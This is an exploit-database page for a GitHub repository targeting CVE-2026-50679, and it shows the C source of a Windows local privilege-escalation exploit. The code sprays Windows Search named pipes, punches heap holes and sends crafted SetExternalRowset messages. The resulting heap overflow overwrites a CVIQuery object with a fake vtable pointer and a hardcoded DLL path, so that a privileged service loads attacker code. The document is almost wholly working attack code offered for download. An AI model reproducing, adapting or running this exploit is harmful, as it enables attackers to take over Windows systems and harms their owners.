Exploit databaseDownload repository ZIP
GH-cbba903cf7dbb63ef0e7d51be05a5c17
h4urek/cve-2026-50679
Sources for CVE-2026-50679
1 sourcePreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.
Repository files4
h4urek/cve-2026-50679Revision 506edc560a77
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
src/exp.c
Suggested starting fileC · 15,874 bytes#ifndef WIN32_LEAN_AND_MEAN
#define WIN32_LEAN_AND_MEAN
#endif
#ifndef UNICODE
#define UNICODE
#endif
#ifndef _UNICODE
#define _UNICODE
#endif
#include "exp.h"
#define PIPE_COUNT 4095 /* spray pipes count*/
#define VT_OFF_DXCORE 0x36690 /* DXCoreDriver::`vftable' RVA inside dxcore.dll 10.0.29610.1000 */
#define DLL_PATH L"C:\\T\\d.dll" /* hardcoded path*/
static void WriteDword(BYTE **out, DWORD value)
{
memcpy(*out, &value, 4);
*out += 4;
}
static DWORD ReadCursor(const BYTE *response, DWORD responseSize)
{
return (responseSize >= 28) ? *(DWORD *)(response + 24) : 0;
}
static bool BuildSetBindingsMessage(WSP_MESSAGE *msg, DWORD cursor)
{
const DWORD colBindings = 43;
const DWORD colData = 4 + colBindings;
const DWORD msgSize = 36 + colBindings; /* 79 bytes */
BYTE *out;
if (!WspAllocMessage(msg, msgSize))
return false;
memset(msg->data, 0, msgSize);
out = msg->data;
/* WSP_CPM_SET_BINDINGS_IN fixed header (36 bytes) */
WriteDword(&out, WspMsgSetBindingsIn); /* +0x00 _msg */
WriteDword(&out, 0); /* +0x04 _status */
WriteDword(&out, 0); /* +0x08 _ulChecksum */
WriteDword(&out, 0); /* +0x0C _ulReserved2 */
WriteDword(&out, cursor); /* +0x10 _hCursor */
WriteDword(&out, 28); /* +0x14 _cbRow */
WriteDword(&out, colData); /* +0x18 _cbBindingDesc */
WriteDword(&out, 0); /* +0x1C _dummy */
WriteDword(&out, 1); /* +0x20 cColumns */
WriteDword(&out, 0); /* +0x24 padding (GUID alignment) */
/* CTableColumn: CFullPropSpec (24 bytes) */
memcpy(out, &(GUID)WSP_GUID_SYSTEM_SEARCH_INIT, 16);
out += 16; /* +0x28 _guidPropSet */
WriteDword(&out, WSP_DBKIND_GUID_PROPID); /* +0x38 _eKind */
WriteDword(&out, 0x0B); /* +0x3C _ulPropId */
/* CTableColumn: value/status/length descriptors */
WriteDword(&out, 12); /* +0x40 vType */
*out++ = 0; /* +0x44 AggregateUsed */
*out++ = 1; /* +0x45 AggregateType */
*(WORD *)out = 0; out += 2; /* +0x46 ValueOffset */
*(WORD *)out = 24; out += 2; /* +0x48 ValueSize */
*out++ = 1; /* +0x4A StatusUsed */
*out++ = 0; /* +0x4B _padding2 */
*(WORD *)out = 24; out += 2; /* +0x4C StatusOffset */
*out++ = 0; /* +0x4E LengthUsed */
/* msg 208 is in checksum whitelist */
*(DWORD *)(msg->data + 8) = WspComputeChecksum(
msg->data, msgSize, WspMsgSetBindingsIn);
return true;
}
/*
* BuildCreateQuery
* The CVIQuery object (592 B) is allocated by the server when this message
* is processed.
*/
static bool BuildCreateQuery(WSP_MESSAGE *msg)
{
const DWORD msgSize = 152;
BYTE *out;
if (!WspAllocMessage(msg, msgSize))
return 0;
memset(msg->data, 0, msgSize);
out = msg->data;
/* WSP header fields */
WriteDword(&out, WspMsgCreateQueryIn);
WriteDword(&out, 0);
WriteDword(&out, 0);
WriteDword(&out, 0);
WriteDword(&out, msgSize - 16);
*out++ = 1;
memset(out, 0, 3);
out += 3;
WriteDword(&out, 1);
WriteDword(&out, 0);
*out++ = 1;
*out++ = 1;
*out++ = 1;
*out++ = 0;
/* property restriction: PR_RE (LIKE) on system.search property */
WriteDword(&out, WSP_RT_PROPERTY);
WriteDword(&out, 1000);
WriteDword(&out, WSP_PR_RE);
memcpy(out, &(GUID) WSP_GUID_SYSTEM_SEARCH_INIT, 16);
out += 16;
WriteDword(&out, WSP_DBKIND_GUID_PROPID);
WriteDword(&out, 0x0B);
*(WORD *) out = WSP_VT_LPWSTR;
out += 2;
*out++ = 0;
*out++ = 0;
WriteDword(&out, 4);
/* search scope: "C:\" */
((WCHAR *) out)[0] = L'C';
((WCHAR *) out)[1] = L':';
((WCHAR *) out)[2] = L'\\';
((WCHAR *) out)[3] = L'\0';
out += 8;
WriteDword(&out, WSP_LCID_EN_US);
*out++ = 0;
*out++ = 0;
memset(out, 0, 2);
out += 2;
WriteDword(&out, 1);
WriteDword(&out, 0);
WriteDword(&out, 0);
WriteDword(&out, 10);
WriteDword(&out, 30);
WriteDword(&out, 1);
memcpy(out, &(GUID) WSP_GUID_SYSTEM_SEARCH_INIT, 16);
out += 16;
WriteDword(&out, WSP_DBKIND_GUID_PROPID);
WriteDword(&out, 0x0B);
WriteDword(&out, 0);
WriteDword(&out, WSP_LCID_EN_US);
*(DWORD *)(msg->data + 8) = WspComputeChecksum(msg->data, msgSize,
WspMsgCreateQueryIn);
return 1;
}
/*
* BuildPrefill - 4846-byte SetExternalRowset.
*
* The rowset-name buffer holds 2400 WCHARs starting at message offset 42.
* When the later short Trigger re-uses the same inline connection buffer,
* the CPMExternalSearchResultIn constructor reads stale rowset-name bytes
* from the Prefill residual and copies them past the Trigger allocation.
*
* Payload sits at rn[275] ... rn[314] (80 B), laid out above.
*/
static bool BuildPrefill(WSP_MESSAGE *msg, ULONG_PTR vtableAddr)
{
const DWORD msgSize = 28 + 2 + 12 + 2 * 2401 + 2; /* 4846 bytes */
BYTE *out;
if (!WspAllocMessage(msg, msgSize))
return 0;
memset(msg->data, 0, msgSize);
out = msg->data;
WriteDword(&out, WspMsgExternalSearchResultIn);
WriteDword(&out, 0);
WriteDword(&out, 0);
WriteDword(&out, 0);
((WSP_CPM_EXTERNAL_SEARCH_RESULT_IN *) msg->data)->queryNameLength = 0;
/* query name + rowset length fields */
out = msg->data + 28;
((WCHAR *) out)[0] = L'Q'; /* query name = "Q" */
out += 2;
WriteDword(&out, 0);
WriteDword(&out, 2400); /* len_rowset_name = 2400 */
WriteDword(&out, 0);
{
WCHAR *rowset = (WCHAR *) out;
DWORD i;
/* fill entire rowset with 'R' so unmodified bytes are visible */
for (i = 0; i < 2400; i++)
rowset[i] = L'R';
rowset[2400] = 0;
/* fake CVIQuery object vtable */
rowset[275] = (WORD)(vtableAddr & 0xFFFF);
rowset[276] = (WORD)((vtableAddr >> 16) & 0xFFFF);
rowset[277] = (WORD)((vtableAddr >> 32) & 0xFFFF);
rowset[278] = (WORD)((vtableAddr >> 48) & 0xFFFF);
/* zero padding */
for (i = 279; i < 299; i++)
rowset[i] = 0;
/* dll path */
{
WCHAR *path = DLL_PATH;
for (i = 0; i < 11; i++) /* 10 chars + NUL */
rowset[299 + i] = path[i];
}
rowset[310] = 0; /* gap before length */
rowset[311] = 0; /* +0x48 low word */
rowset[312] = 0; /* +0x48 ... */
rowset[313] = 0; /* +0x48 ... */
rowset[314] = 0; /* +0x48 high word (0 -> inline path) */
}
return 1;
}
/*
* BuildTrigger - 580-byte SetExternalRowset.
*
* Outer message length is 580 B, allocation lands in the 592 B LFH bucket
* (same as CVIQuery). Embedded len_rowset_name = 313 causes the decoder to
* copy 2 x (313 + 1) = 628 bytes from the stale inline buffer, overflowing
* 80 bytes past the heap allocation into the adjacent even CVIQuery.
*/
static bool BuildTrigger(WSP_MESSAGE *msg)
{
const DWORD msgSize = 28 + 2 + 12 + 2 * 201 + 2 * 68; /* 580 bytes */
BYTE *out;
if (!WspAllocMessage(msg, msgSize))
return 0;
memset(msg->data, 0, msgSize);
out = msg->data;
WriteDword(&out, WspMsgExternalSearchResultIn);
WriteDword(&out, 0);
WriteDword(&out, 0);
WriteDword(&out, 0);
((WSP_CPM_EXTERNAL_SEARCH_RESULT_IN *) msg->data)->queryNameLength = 0;
{
BYTE *field = msg->data + 30;
WriteDword(&field, 0);
WriteDword(&field, 313); /* len_rowset_name -> 80 B overflow */
WriteDword(&field, 0);
}
return 1;
}
int wmain(void)
{
HANDLE sprayPipes[PIPE_COUNT];
DWORD cursors[PIPE_COUNT];
WSP_MESSAGE connectMsg = { 0 };
WSP_MESSAGE createQueryMsg = { 0 };
WSP_MESSAGE prefillMsg = { 0 };
WSP_MESSAGE triggerMsg = { 0 };
BYTE recvBuf[0x20000];
DWORD recvSize = 0;
DWORD cursor = 0;
int exitCode = 1;
DWORD attempt = 0;
if (!WspBuildConnectMessage(&connectMsg, WSP_DEFAULT_CATALOG))
goto cleanup;
if (!BuildCreateQuery(&createQueryMsg))
goto cleanup;
/* resolve DXCoreDriver vtable address at runtime */
{
HMODULE dxcoreBase = LoadLibraryW(L"dxcore.dll");
if (!dxcoreBase) {
wprintf(L"[!] dxcore.dll not found\n");
goto cleanup;
}
ULONG_PTR vtableAddr = (ULONG_PTR) dxcoreBase + VT_OFF_DXCORE;
wprintf(L"[*] dxcore base = %p vtable = %p\n",
dxcoreBase, (void *) vtableAddr);
if (!BuildPrefill(&prefillMsg, vtableAddr))
goto cleanup;
}
if (!BuildTrigger(&triggerMsg))
goto cleanup;
{
HANDLE overflowPipe = INVALID_HANDLE_VALUE;
while (1) {
DWORD i;
bool phaseOk = 1;
attempt++;
wprintf(L"[*] Attempt %u ...\n", attempt);
memset(sprayPipes, 0, sizeof(sprayPipes));
memset(cursors, 0, sizeof(cursors));
/* phase 1: heap spray */
wprintf(L"[*] Spraying...\n");
for (i = 0; i < PIPE_COUNT; i++) {
sprayPipes[i] = WspOpenLocalSearchPipe(WSP_DEFAULT_WAIT_MS);
if (sprayPipes[i] == INVALID_HANDLE_VALUE) {
// wprintf(L"[!] Phase 1: Open pipe %u error\n", i);
phaseOk = 0;
break;
}
/* Connect */
if (!WspWriteMessage(sprayPipes[i], connectMsg.data,
(DWORD) connectMsg.size) ||
!WspReadMessage(sprayPipes[i], recvBuf, sizeof(recvBuf),
&recvSize)) {
// wprintf(L"[!] Phase 1: Connect %u error\n", i);
phaseOk = 0;
break;
}
/* CreateQuery - allocates one CVIQuery (592 B) per pipe */
if (!WspWriteMessage(sprayPipes[i], createQueryMsg.data,
(DWORD) createQueryMsg.size) ||
!WspReadMessage(sprayPipes[i], recvBuf, sizeof(recvBuf),
&recvSize)) {
// wprintf(L"[!] Phase 1: CreateQuery %u error\n", i);
phaseOk = 0;
break;
}
cursors[i] = ReadCursor(recvBuf, recvSize);
}
if (!phaseOk)
goto loop_cleanup;
// wprintf(L"[+] Phase 1: Spray %u CVIQuery objects (592 B bucket)\n", PIPE_COUNT);
/* phase 2: hole punch */
// wprintf(L"[*] Phase 2: Freeing odd-indexed pipes...\n");
for (i = 1; i < PIPE_COUNT; i += 2) {
CloseHandle(sprayPipes[i]);
sprayPipes[i] = NULL;
}
// wprintf(L"[+] Phase 2: %u holes punched\n", PIPE_COUNT / 2);
/* phase 3: overflow via a fresh pipe */
wprintf(L"[*] Overflow...\n");
overflowPipe = WspOpenLocalSearchPipe(WSP_DEFAULT_WAIT_MS);
if (overflowPipe == INVALID_HANDLE_VALUE) {
// wprintf(L"[!] Phase 3: Open pipe error\n");
phaseOk = 0;
}
if (phaseOk) {
/* Step 1 - Connect */
if (!WspWriteMessage(overflowPipe, connectMsg.data,
(DWORD) connectMsg.size) ||
!WspReadMessage(overflowPipe, recvBuf,
sizeof(recvBuf), &recvSize)) {
// wprintf(L"[!] Phase 3: Connect error\n");
phaseOk = 0;
}
}
if (phaseOk) {
/* Step 2 - CreateQuery */
if (!WspWriteMessage(overflowPipe, createQueryMsg.data,
(DWORD) createQueryMsg.size) ||
!WspReadMessage(overflowPipe, recvBuf,
sizeof(recvBuf), &recvSize)) {
// wprintf(L"[!] Phase 3: CreateQuery error\n");
phaseOk = 0;
}
cursor = ReadCursor(recvBuf, recvSize);
}
if (phaseOk) {
/* Step 3 - Prefill */
if (!WspWriteMessage(overflowPipe, prefillMsg.data,
(DWORD) prefillMsg.size) ||
!WspReadMessage(overflowPipe, recvBuf,
sizeof(recvBuf), &recvSize)) {
// wprintf(L"[!] Phase 3: Prefill error\n");
phaseOk = 0;
}
}
if (phaseOk) {
/* Step 4 - Trigger */
if (!WspWriteMessage(overflowPipe, triggerMsg.data,
(DWORD) triggerMsg.size) ||
!WspReadMessage(overflowPipe, recvBuf,
sizeof(recvBuf), &recvSize)) {
// wprintf(L"[!] Phase 3: Trigger error\n");
phaseOk = 0;
} else {
// wprintf(L"[+] Phase 3: Trigger overflow\n");
}
}
if (!phaseOk)
goto loop_cleanup;
/* phase 4 LPE */
wprintf(L"[*] Triggering...\n");
{
const DWORD total = PIPE_COUNT / 2;
for (i = (DWORD) ((PIPE_COUNT - 1) & ~1); ; i -= 2) {
if (!sprayPipes[i])
goto next_pipe;
cursor = cursors[i];
if (!cursor)
goto next_pipe;
{
WSP_MESSAGE bindMsg = { 0 };
if (!BuildSetBindingsMessage(&bindMsg, cursor))
goto next_pipe;
if (!WspWriteMessage(sprayPipes[i], bindMsg.data,
(DWORD)bindMsg.size)) {
WspFreeMessage(&bindMsg);
goto next_pipe;
}
if (!WspReadMessage(sprayPipes[i], recvBuf,
sizeof(recvBuf), &recvSize)) {
WspFreeMessage(&bindMsg);
// wprintf(L"[+] CRASHED on pipe %u SetBindings! "
// L"(attempt %u)\n", i, attempt);
exitCode = 0;
phaseOk = 0;
break;
}
WspFreeMessage(&bindMsg);
}
next_pipe:
if (i == 0)
break;
}
}
if (!phaseOk)
break; /* success - exit the retry loop */
wprintf(L"[*] Attempt %u survived, retrying...\n", attempt);
loop_cleanup:
for (i = 0; i < PIPE_COUNT; i++)
if (sprayPipes[i])
CloseHandle(sprayPipes[i]);
if (overflowPipe != INVALID_HANDLE_VALUE) {
CloseHandle(overflowPipe);
overflowPipe = INVALID_HANDLE_VALUE;
}
if (!phaseOk && exitCode != 0)
break;
if (phaseOk)
Sleep(1000);
}
}
cleanup:
WspFreeMessage(&connectMsg);
WspFreeMessage(&createQueryMsg);
WspFreeMessage(&prefillMsg);
WspFreeMessage(&triggerMsg);
return exitCode;
}